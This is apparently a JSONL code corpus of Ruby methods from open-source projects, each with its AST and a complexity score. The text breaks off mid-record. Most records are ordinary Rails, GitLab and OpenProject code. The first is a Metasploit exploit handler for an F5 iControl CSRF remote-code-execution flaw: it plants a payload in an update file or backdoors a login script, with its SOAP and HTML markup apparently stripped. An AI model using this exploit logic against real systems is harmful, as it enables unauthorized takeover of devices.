+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622.rb","start_line":85,"raw_source":"def on_request_uri(socket, _request)\n if datastore['TARGET'] == 0 # restart\n filename = '/shared/f5_update_action'\n file_payload = <<~EOT\n UpdateAction\n https://localhost/success`#{payload.encoded}`\n https://localhost/error\n 0\n 0\n 0\n 0\n EOT\n\n # Delete the logfile if we get a session\n register_file_for_cleanup('/var/log/f5_update_checker.out')\n\n print_status(\"Redirecting the admin to overwrite #{filename}; if successful, your session will come approximately 2 minutes after the target is rebooted\")\n elsif datastore['TARGET'] == 1 # login\n filename = '/var/run/config/timeout.sh'\n file_payload = \"#{payload.encoded} & disown;\"\n\n # Delete the backdoored file if we get a session.. this will be fixed at\n # next reboot\n register_file_for_cleanup('/var/run/config/timeout.sh')\n\n print_status(\"Redirecting the admin to overwrite #{filename}; if successful, your session will come the next time a user logs in interactively\")\n else # Custom\n\n filename = datastore['FILENAME']\n file_payload = payload.encoded\n\n print_status(\"Redirecting the admin to overwrite #{filename} with the payload\")\n end\n\n # Build the SOAP request that'll be sent to the target server\n csrf_payload = %(\n \n \n \n \n #{filename}\n \n \n #{Rex::Text.encode_base64(file_payload)}\n FILE_FIRST_AND_LAST\n \n \n \n\n )\n\n # Build the target URL\n target_url = \"#{datastore['TARGET_SSL'] ? 'https' : 'http'}://#{datastore['TARGET_HOST']}#{datastore['TARGET_URI']}\"\n\n # Build the HTML payload that'll send the SOAP request via the user's browser\n html_payload = %(\n\n \n \n \n \n\n )\n\n # Send the HTML to the browser\n send_response(socket, html_payload, { 'Content-Type' => 'text/html' })\n end","complexity_score":48.43,"ast_json":"{\"type\":\"def\",\"children\":[\"on_request_uri\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"socket\"]},{\"type\":\"arg\",\"children\":[\"_request\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TARGET\"]}]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"filename\",{\"type\":\"str\",\"children\":[\"/shared/f5_update_action\"]}]},{\"type\":\"lvasgn\",\"children\":[\"file_payload\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"UpdateAction\\n\"]},{\"type\":\"str\",\"children\":[\"https://localhost/success`\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]},{\"type\":\"str\",\"children\":[\"`\\n\"]},{\"type\":\"str\",\"children\":[\"https://localhost/error\\n\"]},{\"type\":\"str\",\"children\":[\"0\\n\"]},{\"type\":\"str\",\"children\":[\"0\\n\"]},{\"type\":\"str\",\"children\":[\"0\\n\"]},{\"type\":\"str\",\"children\":[\"0\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"register_file_for_cleanup\",{\"type\":\"str\",\"children\":[\"/var/log/f5_update_checker.out\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Redirecting the admin to overwrite \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filename\"]}]},{\"type\":\"str\",\"children\":[\"; if successful, your session will come approximately 2 minutes after the target is rebooted\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TARGET\"]}]},\"==\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"filename\",{\"type\":\"str\",\"children\":[\"/var/run/config/timeout.sh\"]}]},{\"type\":\"lvasgn\",\"children\":[\"file_payload\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]},{\"type\":\"str\",\"children\":[\" & disown;\"]}]}]},{\"type\":\"send\",\"children\":[null,\"register_file_for_cleanup\",{\"type\":\"str\",\"children\":[\"/var/run/config/timeout.sh\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Redirecting the admin to overwrite \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filename\"]}]},{\"type\":\"str\",\"children\":[\"; if successful, your session will come the next time a user logs in interactively\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"filename\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"FILENAME\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"file_payload\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Redirecting the admin to overwrite \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filename\"]}]},{\"type\":\"str\",\"children\":[\" with the payload\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"csrf_payload\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" \\n\"]},{\"type\":\"str\",\"children\":[\" \\n\"]},{\"type\":\"str\",\"children\":[\" \\n\"]},{\"type\":\"str\",\"children\":[\" \\n\"]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filename\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" \\n\"]},{\"type\":\"str\",\"children\":[\" \\n\"]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"encode_base64\",{\"type\":\"lvar\",\"children\":[\"file_payload\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" FILE_FIRST_AND_LAST\\n\"]},{\"type\":\"str\",\"children\":[\" \\n\"]},{\"type\":\"str\",\"children\":[\" \\n\"]},{\"type\":\"str\",\"children\":[\" \\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"target_url\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TARGET_SSL\"]}]},{\"type\":\"str\",\"children\":[\"https\"]},{\"type\":\"str\",\"children\":[\"http\"]}]}]},{\"type\":\"str\",\"children\":[\"://\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TARGET_HOST\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TARGET_URI\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"html_payload\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" \\n\"]},{\"type\":\"str\",\"children\":[\" \\n\"]},{\"type\":\"str\",\"children\":[\" \\n\"]},{\"type\":\"str\",\"children\":[\" \\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"send\",\"children\":[null,\"send_response\",{\"type\":\"lvar\",\"children\":[\"socket\"]},{\"type\":\"lvar\",\"children\":[\"html_payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"text/html\"]}]}]}]}]}]}","id":"ba5d092f-b648-4cc1-97f2-ffa25cf69338"}
+{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/arel/visitors/to_sql.rb","start_line":22,"raw_source":"def visit_Arel_Nodes_DeleteStatement(o, collector)\n collector.retryable = false\n o = prepare_delete_statement(o)\n\n if has_join_sources?(o)\n collector << \"DELETE \"\n visit o.relation.left, collector\n collector << \" FROM \"\n else\n collector << \"DELETE FROM \"\n end\n collector = visit o.relation, collector\n\n collect_nodes_for o.wheres, collector, \" WHERE \", \" AND \"\n collect_nodes_for o.orders, collector, \" ORDER BY \"\n maybe_visit o.limit, collector\n maybe_visit o.comment, collector\n end","complexity_score":24.7,"ast_json":"{\"type\":\"def\",\"children\":[\"visit_Arel_Nodes_DeleteStatement\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"o\"]},{\"type\":\"arg\",\"children\":[\"collector\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"collector\"]},\"retryable=\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"o\",{\"type\":\"send\",\"children\":[null,\"prepare_delete_statement\",{\"type\":\"lvar\",\"children\":[\"o\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"has_join_sources?\",{\"type\":\"lvar\",\"children\":[\"o\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"collector\"]},\"<<\",{\"type\":\"str\",\"children\":[\"DELETE \"]}]},{\"type\":\"send\",\"children\":[null,\"visit\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"relation\"]},\"left\"]},{\"type\":\"lvar\",\"children\":[\"collector\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"collector\"]},\"<<\",{\"type\":\"str\",\"children\":[\" FROM \"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"collector\"]},\"<<\",{\"type\":\"str\",\"children\":[\"DELETE FROM \"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"collector\",{\"type\":\"send\",\"children\":[null,\"visit\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"relation\"]},{\"type\":\"lvar\",\"children\":[\"collector\"]}]}]},{\"type\":\"send\",\"children\":[null,\"collect_nodes_for\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"wheres\"]},{\"type\":\"lvar\",\"children\":[\"collector\"]},{\"type\":\"str\",\"children\":[\" WHERE \"]},{\"type\":\"str\",\"children\":[\" AND \"]}]},{\"type\":\"send\",\"children\":[null,\"collect_nodes_for\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"orders\"]},{\"type\":\"lvar\",\"children\":[\"collector\"]},{\"type\":\"str\",\"children\":[\" ORDER BY \"]}]},{\"type\":\"send\",\"children\":[null,\"maybe_visit\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"limit\"]},{\"type\":\"lvar\",\"children\":[\"collector\"]}]},{\"type\":\"send\",\"children\":[null,\"maybe_visit\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"comment\"]},{\"type\":\"lvar\",\"children\":[\"collector\"]}]}]}]}","id":"9bc98eee-2022-4efd-be2c-9a4ec74c07e1"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/ci/pipeline_processing/atomic_processing_service.rb","start_line":158,"raw_source":"def project\n pipeline.project\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"project\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pipeline\"]},\"project\"]}]}","id":"604c313b-efd0-48b0-81b4-471bf706556d"}
+{"repo_name":"openproject","file_path":"./repos/openproject/app/models/query/results.rb","start_line":144,"raw_source":"def sort_criteria_array\n criteria = ::Query::SortCriteria.new query.sortable_columns\n criteria.available_criteria = aliased_sorting_by_column_name\n criteria.criteria = query.sort_criteria\n criteria.map_each { |c| c.map { |raw| Arel.sql raw } }\n end","complexity_score":15.2,"ast_json":"{\"type\":\"def\",\"children\":[\"sort_criteria_array\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"criteria\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Query\"]},\"SortCriteria\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"query\"]},\"sortable_columns\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"criteria\"]},\"available_criteria=\",{\"type\":\"send\",\"children\":[null,\"aliased_sorting_by_column_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"criteria\"]},\"criteria=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"query\"]},\"sort_criteria\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"criteria\"]},\"map_each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"raw\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"sql\",{\"type\":\"lvar\",\"children\":[\"raw\"]}]}]}]}]}]}","id":"06c3a33a-c19e-4995-8347-cfa45462f3a9"}
+{"repo_name":"openproject","file_path":"./repos/openproject/app/models/queries/projects/filters/favorited_filter.rb","start_line":73,"raw_source":"def favorited_project_ids\n Favorite\n .where(favorited_type: \"Project\", user_id: User.current.id)\n .select(:favorited_id)\n end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"favorited_project_ids\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Favorite\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"favorited_type\"]},{\"type\":\"str\",\"children\":[\"Project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"current\"]},\"id\"]}]}]}]},\"select\",{\"type\":\"sym\",\"children\":[\"favorited_id\"]}]}]}","id":"b67f93ed-9583-4953-bfad-8160c1183c36"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/todo.rb","start_line":505,"raw_source":"def build_alert_target_url\n ::Gitlab::Routing.url_helpers.details_project_alert_management_url(\n target.project,\n target\n )\n end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"build_alert_target_url\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Routing\"]},\"url_helpers\"]},\"details_project_alert_management_url\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"project\"]},{\"type\":\"send\",\"children\":[null,\"target\"]}]}]}","id":"89713728-8d99-42f8-8610-0c849e4d32d5"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/build/image.rb","start_line":50,"raw_source":"def build_ports(image)\n image[:ports].to_a.map { |port| ::Gitlab::Ci::Build::Port.new(port) }\n end","complexity_score":5.7,"ast_json":"{\"type\":\"def\",\"children\":[\"build_ports\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"image\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"image\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ports\"]}]},\"to_a\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"port\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Ci\"]},\"Build\"]},\"Port\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"port\"]}]}]}]}","id":"a5567527-0574-44bf-90ce-e52554fd29ca"}
+{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/pglogical_subscription.rb","start_line":277,"raw_source":"def conn_info_hash\n {\n :dbname => dbname,\n :host => host,\n :user => user,\n :password => decrypted_password,\n :port => port\n }.delete_blanks\n end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"conn_info_hash\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"dbname\"]},{\"type\":\"send\",\"children\":[null,\"dbname\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"send\",\"children\":[null,\"host\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"password\"]},{\"type\":\"send\",\"children\":[null,\"decrypted_password\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[null,\"port\"]}]}]},\"delete_blanks\"]}]}","id":"75d4b22b-7ef9-42e4-b290-9eacad5fdf44"}
+{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/mixin/preceding_following_alignment.rb","start_line":203,"raw_source":"def remove_equals_in_def(asgn_tokens, processed_source)\n nodes = processed_source.ast.each_node(:optarg, :def)\n eqls_to_ignore = nodes.with_object([]) do |node, arr|\n loc = if node.def_type?\n node.loc.assignment if node.endless?\n else\n node.loc.operator\n end\n arr << loc.begin_pos if loc\n end\n\n asgn_tokens.reject { |t| eqls_to_ignore.include?(t.begin_pos) }\n end","complexity_score":26.6,"ast_json":"{\"type\":\"def\",\"children\":[\"remove_equals_in_def\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"asgn_tokens\"]},{\"type\":\"arg\",\"children\":[\"processed_source\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"nodes\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"processed_source\"]},\"ast\"]},\"each_node\",{\"type\":\"sym\",\"children\":[\"optarg\"]},{\"type\":\"sym\",\"children\":[\"def\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"eqls_to_ignore\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"nodes\"]},\"with_object\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]},{\"type\":\"arg\",\"children\":[\"arr\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"loc\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"def_type?\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"endless?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"loc\"]},\"assignment\"]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"loc\"]},\"operator\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"loc\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arr\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"loc\"]},\"begin_pos\"]}]},null]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"asgn_tokens\"]},\"reject\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"eqls_to_ignore\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"begin_pos\"]}]}]}]}]}","id":"0c5931a2-cc08-4109-b8b7-e151610edb0d"}
+{"repo_name":"forem","file_path":"./repos/forem/app/liquid_tags/stackblitz_tag.rb","start_line":70,"raw_source":"def valid_param(param)\n (param =~ PARAM_REGEXP)&.zero?\n end","complexity_score":2.3,"ast_json":"{\"type\":\"def\",\"children\":[\"valid_param\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"param\"]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"param\"]},\"=~\",{\"type\":\"const\",\"children\":[null,\"PARAM_REGEXP\"]}]}]},\"zero?\"]}]}","id":"25a5edff-557d-4652-b624-5f0dc1c4c583"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/merge_requests/cleanup_refs_service.rb","start_line":64,"raw_source":"def delete_refs\n merge_request.schedule_cleanup_refs\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"delete_refs\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_request\"]},\"schedule_cleanup_refs\"]}]}","id":"0dd3fbaf-4ecf-4c01-8086-22fb2c5a840b"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/tools/dev/detect_dead_reference_links.rb","start_line":250,"raw_source":"def update_progress\n @processed_urls += 1\n percentage = (@processed_urls.to_f / @total_urls * 100).round\n bar_length = 50\n progress = ('=' * (percentage / 2)).ljust(bar_length, ' ')\n print \"\\r[#{progress}] #{percentage}% (#{@processed_urls}/#{@total_urls})\"\n end","complexity_score":16.1,"ast_json":"{\"type\":\"def\",\"children\":[\"update_progress\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"op_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@processed_urls\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"lvasgn\",\"children\":[\"percentage\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@processed_urls\"]},\"to_f\"]},\"/\",{\"type\":\"ivar\",\"children\":[\"@total_urls\"]}]},\"*\",{\"type\":\"int\",\"children\":[100]}]}]},\"round\"]}]},{\"type\":\"lvasgn\",\"children\":[\"bar_length\",{\"type\":\"int\",\"children\":[50]}]},{\"type\":\"lvasgn\",\"children\":[\"progress\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"=\"]},\"*\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"percentage\"]},\"/\",{\"type\":\"int\",\"children\":[2]}]}]}]}]},\"ljust\",{\"type\":\"lvar\",\"children\":[\"bar_length\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"send\",\"children\":[null,\"print\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\r[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"progress\"]}]},{\"type\":\"str\",\"children\":[\"] \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"percentage\"]}]},{\"type\":\"str\",\"children\":[\"% (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@processed_urls\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@total_urls\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]}]}]}","id":"5c0cd85b-6dc7-44ff-a7fa-7c8f5b3e6705"}
+{"repo_name":"rails","file_path":"./repos/rails/railties/test/generators/controller_generator_test.rb","start_line":108,"raw_source":"def test_does_not_add_routes_when_action_is_not_specified\n run_generator [\"admin/dashboard\"]\n assert_file \"config/routes.rb\" do |routes|\n assert_no_match(/namespace :admin/, routes)\n end\n end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_does_not_add_routes_when_action_is_not_specified\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_generator\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"admin/dashboard\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\"config/routes.rb\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"routes\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_no_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"namespace :admin\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"routes\"]}]}]}]}]}","id":"f3f5f2b8-5f85-4793-8bd4-99f6dd3adfef"}
+{"repo_name":"discourse","file_path":"./repos/discourse/lib/auth/default_current_user_provider.rb","start_line":92,"raw_source":"def initialize(env)\n @env = env\n @request = Rack::Request.new(env)\n @user_token = env[USER_TOKEN_KEY]\n end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"env\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@env\",{\"type\":\"lvar\",\"children\":[\"env\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@request\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rack\"]},\"Request\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"env\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@user_token\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env\"]},\"[]\",{\"type\":\"const\",\"children\":[null,\"USER_TOKEN_KEY\"]}]}]}]}]}","id":"d92c8733-cb4e-4220-8638-7f30cad8054f"}
+{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/abstract_mysql_adapter/adapter_prevent_writes_test.rb","start_line":91,"raw_source":"def test_doesnt_error_when_a_use_query_is_called_while_preventing_writes\n ActiveRecord::Base.while_preventing_writes do\n db_name = ActiveRecord::Base.configurations.configs_for(env_name: \"arunit\", name: \"primary\").database\n assert_nothing_raised { @conn.execute(\"USE #{db_name}\") }\n end\n end","complexity_score":11.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_doesnt_error_when_a_use_query_is_called_while_preventing_writes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"while_preventing_writes\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"db_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"configurations\"]},\"configs_for\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"arunit\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"primary\"]}]}]}]},\"database\"]}]},{\"type\":\"block\",\"